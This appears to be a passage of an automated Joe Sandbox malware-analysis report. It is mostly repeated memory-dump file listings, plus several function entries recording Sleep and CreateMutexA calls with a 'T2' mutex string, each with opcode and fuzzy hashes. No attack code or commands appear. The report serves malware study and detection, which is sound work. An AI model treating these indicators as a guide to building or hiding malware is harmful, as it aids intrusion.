Associated: 00000000.00000002.1760209713.0000000000E0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760227848.0000000000E15000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760243914.0000000000E16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760260562.0000000000E17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760393526.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760448432.0000000000F7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760469676.0000000000F94000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760492568.0000000000F95000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760508917.0000000000F96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760524360.0000000000F97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760550692.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760550692.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760627403.0000000000FA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760643815.0000000000FAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760667636.0000000000FD1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760721797.0000000000FD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760738456.0000000000FD3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760753913.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760834086.0000000000FDC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760889377.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760906549.0000000000FE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761277016.0000000000FEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761314947.0000000000FFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761338041.0000000001002000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761400330.0000000001003000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761425869.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761474455.000000000100F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761506128.0000000001014000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761528472.0000000001015000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761554244.0000000001019000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761582315.0000000001026000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761611303.0000000001029000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761635190.0000000001032000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761664708.0000000001035000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761690200.0000000001036000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761715854.000000000103A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761743701.000000000103B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761993777.0000000001043000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762306442.0000000001061000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762335986.0000000001062000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762335986.0000000001080000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762589774.00000000010AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762653581.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763021012.00000000010AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764131100.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764152999.00000000010B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764180229.00000000010C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764206289.00000000010C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_da0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-631260391
Opcode ID: 72b643d756a6058cfd5b25fd1c1fbefd893420af45ea0e7e9432f0ebaf520f5d
Instruction ID: e91c134f48a436efa976d17877c2952f7221439feb472b4c299178a2a1047d57
Opcode Fuzzy Hash: 72b643d756a6058cfd5b25fd1c1fbefd893420af45ea0e7e9432f0ebaf520f5d
Instruction Fuzzy Hash: BB312531600244DBEB18DBBCDC897ADB7A2EB87314F24471DE015A72D1D77A9985C632

Function 00DAA418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00DAA963
CreateMutexA.KERNEL32(00000000,00000000,00E03254), ref: 00DAA981

Strings

T2, xrefs: 00DAA970

Memory Dump Source

Source File: 00000000.00000002.1760104861.0000000000DA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000000.00000002.1760089551.0000000000DA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760104861.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760157123.0000000000E09000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760209713.0000000000E0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760227848.0000000000E15000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760243914.0000000000E16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760260562.0000000000E17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760393526.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760448432.0000000000F7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760469676.0000000000F94000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760492568.0000000000F95000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760508917.0000000000F96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760524360.0000000000F97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760550692.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760550692.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760627403.0000000000FA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760643815.0000000000FAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760667636.0000000000FD1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760721797.0000000000FD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760738456.0000000000FD3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760753913.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760834086.0000000000FDC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760889377.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760906549.0000000000FE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761277016.0000000000FEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761314947.0000000000FFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761338041.0000000001002000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761400330.0000000001003000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761425869.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761474455.000000000100F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761506128.0000000001014000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761528472.0000000001015000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761554244.0000000001019000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761582315.0000000001026000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761611303.0000000001029000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761635190.0000000001032000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761664708.0000000001035000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761690200.0000000001036000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761715854.000000000103A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761743701.000000000103B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761993777.0000000001043000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762306442.0000000001061000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762335986.0000000001062000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762335986.0000000001080000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762589774.00000000010AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762653581.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763021012.00000000010AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764131100.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764152999.00000000010B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764180229.00000000010C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764206289.00000000010C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_da0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-631260391
Opcode ID: 9e6a0b28b5ae6c54aa27cd90550839e70254f0f4b091eba6d1f639aa37eec123
Instruction ID: 1c15ff2a53a4667c50801c677e59e2c66a885e24cab53e776f3e27d73f83e63a
Opcode Fuzzy Hash: 9e6a0b28b5ae6c54aa27cd90550839e70254f0f4b091eba6d1f639aa37eec123
Instruction Fuzzy Hash: 94314A31600104DBEB08DBBCDC897ADBB62DF86314F244719E015973D5D7B59984C672

Function 00DAA54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00DAA963
CreateMutexA.KERNEL32(00000000,00000000,00E03254), ref: 00DAA981

Strings

T2, xrefs: 00DAA970

Memory Dump Source

Source File: 00000000.00000002.1760104861.0000000000DA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000000.00000002.1760089551.0000000000DA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760104861.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760157123.0000000000E09000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760209713.0000000000E0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760227848.0000000000E15000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760243914.0000000000E16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760260562.0000000000E17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760393526.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760448432.0000000000F7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760469676.0000000000F94000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760492568.0000000000F95000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760508917.0000000000F96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760524360.0000000000F97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760550692.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760550692.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760627403.0000000000FA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760643815.0000000000FAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760667636.0000000000FD1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760721797.0000000000FD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760738456.0000000000FD3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760753913.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760834086.0000000000FDC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760889377.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760906549.0000000000FE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761277016.0000000000FEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761314947.0000000000FFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761338041.0000000001002000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761400330.0000000001003000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761425869.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761474455.000000000100F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761506128.0000000001014000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761528472.0000000001015000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761554244.0000000001019000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761582315.0000000001026000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761611303.0000000001029000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761635190.0000000001032000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761664708.0000000001035000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761690200.0000000001036000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761715854.000000000103A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761743701.000000000103B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761993777.0000000001043000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762306442.0000000001061000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762335986.0000000001062000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762335986.0000000001080000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762589774.00000000010AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762653581.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763021012.00000000010AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764131100.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764152999.00000000010B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764180229.00000000010C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764206289.00000000010C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_da0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-631260391
Opcode ID: 693d8255f667fa7b645db6715b636be334b04748b38d3b3ebbe78b0ce0d72a4d
Instruction ID: 7f30e4af5596d700d76c3513e41d1260ae864f5cf574eb247688b58eaffa2a75
Opcode Fuzzy Hash: 693d8255f667fa7b645db6715b636be334b04748b38d3b3ebbe78b0ce0d72a4d
Instruction Fuzzy Hash: 2C311831A00144CBEB18DBBCDC897ADBBA2EBC6314F284718E055972D1DB759985CB36

Function 00DAA682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00DAA963
CreateMutexA.KERNEL32(00000000,00000000,00E03254), ref: 00DAA981

Strings

T2, xrefs: 00DAA970

Memory Dump Source

Source File: 00000000.00000002.1760104861.0000000000DA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000000.00000002.1760089551.0000000000DA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760104861.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760157123.0000000000E09000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760209713.0000000000E0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760227848.0000000000E15000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760243914.0000000000E16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760260562.0000000000E17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760393526.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760448432.0000000000F7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760469676.0000000000F94000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760492568.0000000000F95000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760508917.0000000000F96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760524360.0000000000F97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760550692.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760550692.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760627403.0000000000FA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760643815.0000000000FAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760667636.0000000000FD1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760721797.0000000000FD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760738456.0000000000FD3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760753913.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760834086.0000000000FDC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760889377.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760906549.0000000000FE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761277016.0000000000FEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761314947.0000000000FFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761338041.0000000001002000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761400330.0000000001003000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761425869.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761474455.000000000100F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761506128.0000000001014000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761528472.0000000001015000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761554244.0000000001019000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761582315.0000000001026000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761611303.0000000001029000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761635190.0000000001032000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761664708.0000000001035000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761690200.0000000001036000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761715854.000000000103A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761743701.000000000103B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761993777.0000000001043000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762306442.0000000001061000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762335986.0000000001062000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762335986.0000000001080000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762589774.00000000010AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762653581.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763021012.00000000010AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764131100.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764152999.00000000010B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764180229.00000000010C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764206289.00000000010C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_da0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-631260391
Opcode ID: 8f41b9e2d28bdf27ea091f7265825c9a193e57a1d848e7cb1ad326d054cb5996
Instruction ID: cc4d7c6a7c0c57c01f0c8d5711b9745010396da5db83b97b4d3aef515cc05d01
Opcode Fuzzy Hash: 8f41b9e2d28bdf27ea091f7265825c9a193e57a1d848e7cb1ad326d054cb5996
Instruction Fuzzy Hash: 3E312831600144DBEB18DBBCDC897AEB7A2DB86314F288718E015972E1D7769985CB72

Function 00DA9ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00DAA963
CreateMutexA.KERNEL32(00000000,00000000,00E03254), ref: 00DAA981

Strings

T2, xrefs: 00DAA970

Memory Dump Source

Source File: 00000000.00000002.1760104861.0000000000DA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000000.00000002.1760089551.0000000000DA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760104861.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760157123.0000000000E09000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760209713.0000000000E0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760227848.0000000000E15000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760243914.0000000000E16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760260562.0000000000E17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760393526.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760448432.0000000000F7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760469676.0000000000F94000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760492568.0000000000F95000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760508917.0000000000F96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760524360.0000000000F97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760550692.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760550692.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760627403.0000000000FA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760643815.0000000000FAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760667636.0000000000FD1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760721797.0000000000FD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760738456.0000000000FD3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760753913.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760834086.0000000000FDC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760889377.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760906549.0000000000FE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761277016.0000000000FEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761314947.0000000000FFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761338041.0000000001002000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761400330.0000000001003000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761425869.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761474455.000000000100F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761506128.0000000001014000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761528472.0000000001015000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761554244.0000000001019000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761582315.0000000001026000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761611303.0000000001029000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761635190.0000000001032000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761664708.0000000001035000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761690200.0000000001036000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761715854.000000000103A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761743701.000000000103B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761993777.0000000001043000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762306442.0000000001061000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762335986.0000000001062000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762335986.0000000001080000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762589774.00000000010AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762653581.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763021012.00000000010AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764131100.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764152999.00000000010B3000.00000080.00000001.01000000.00000003.sdmpDownload File
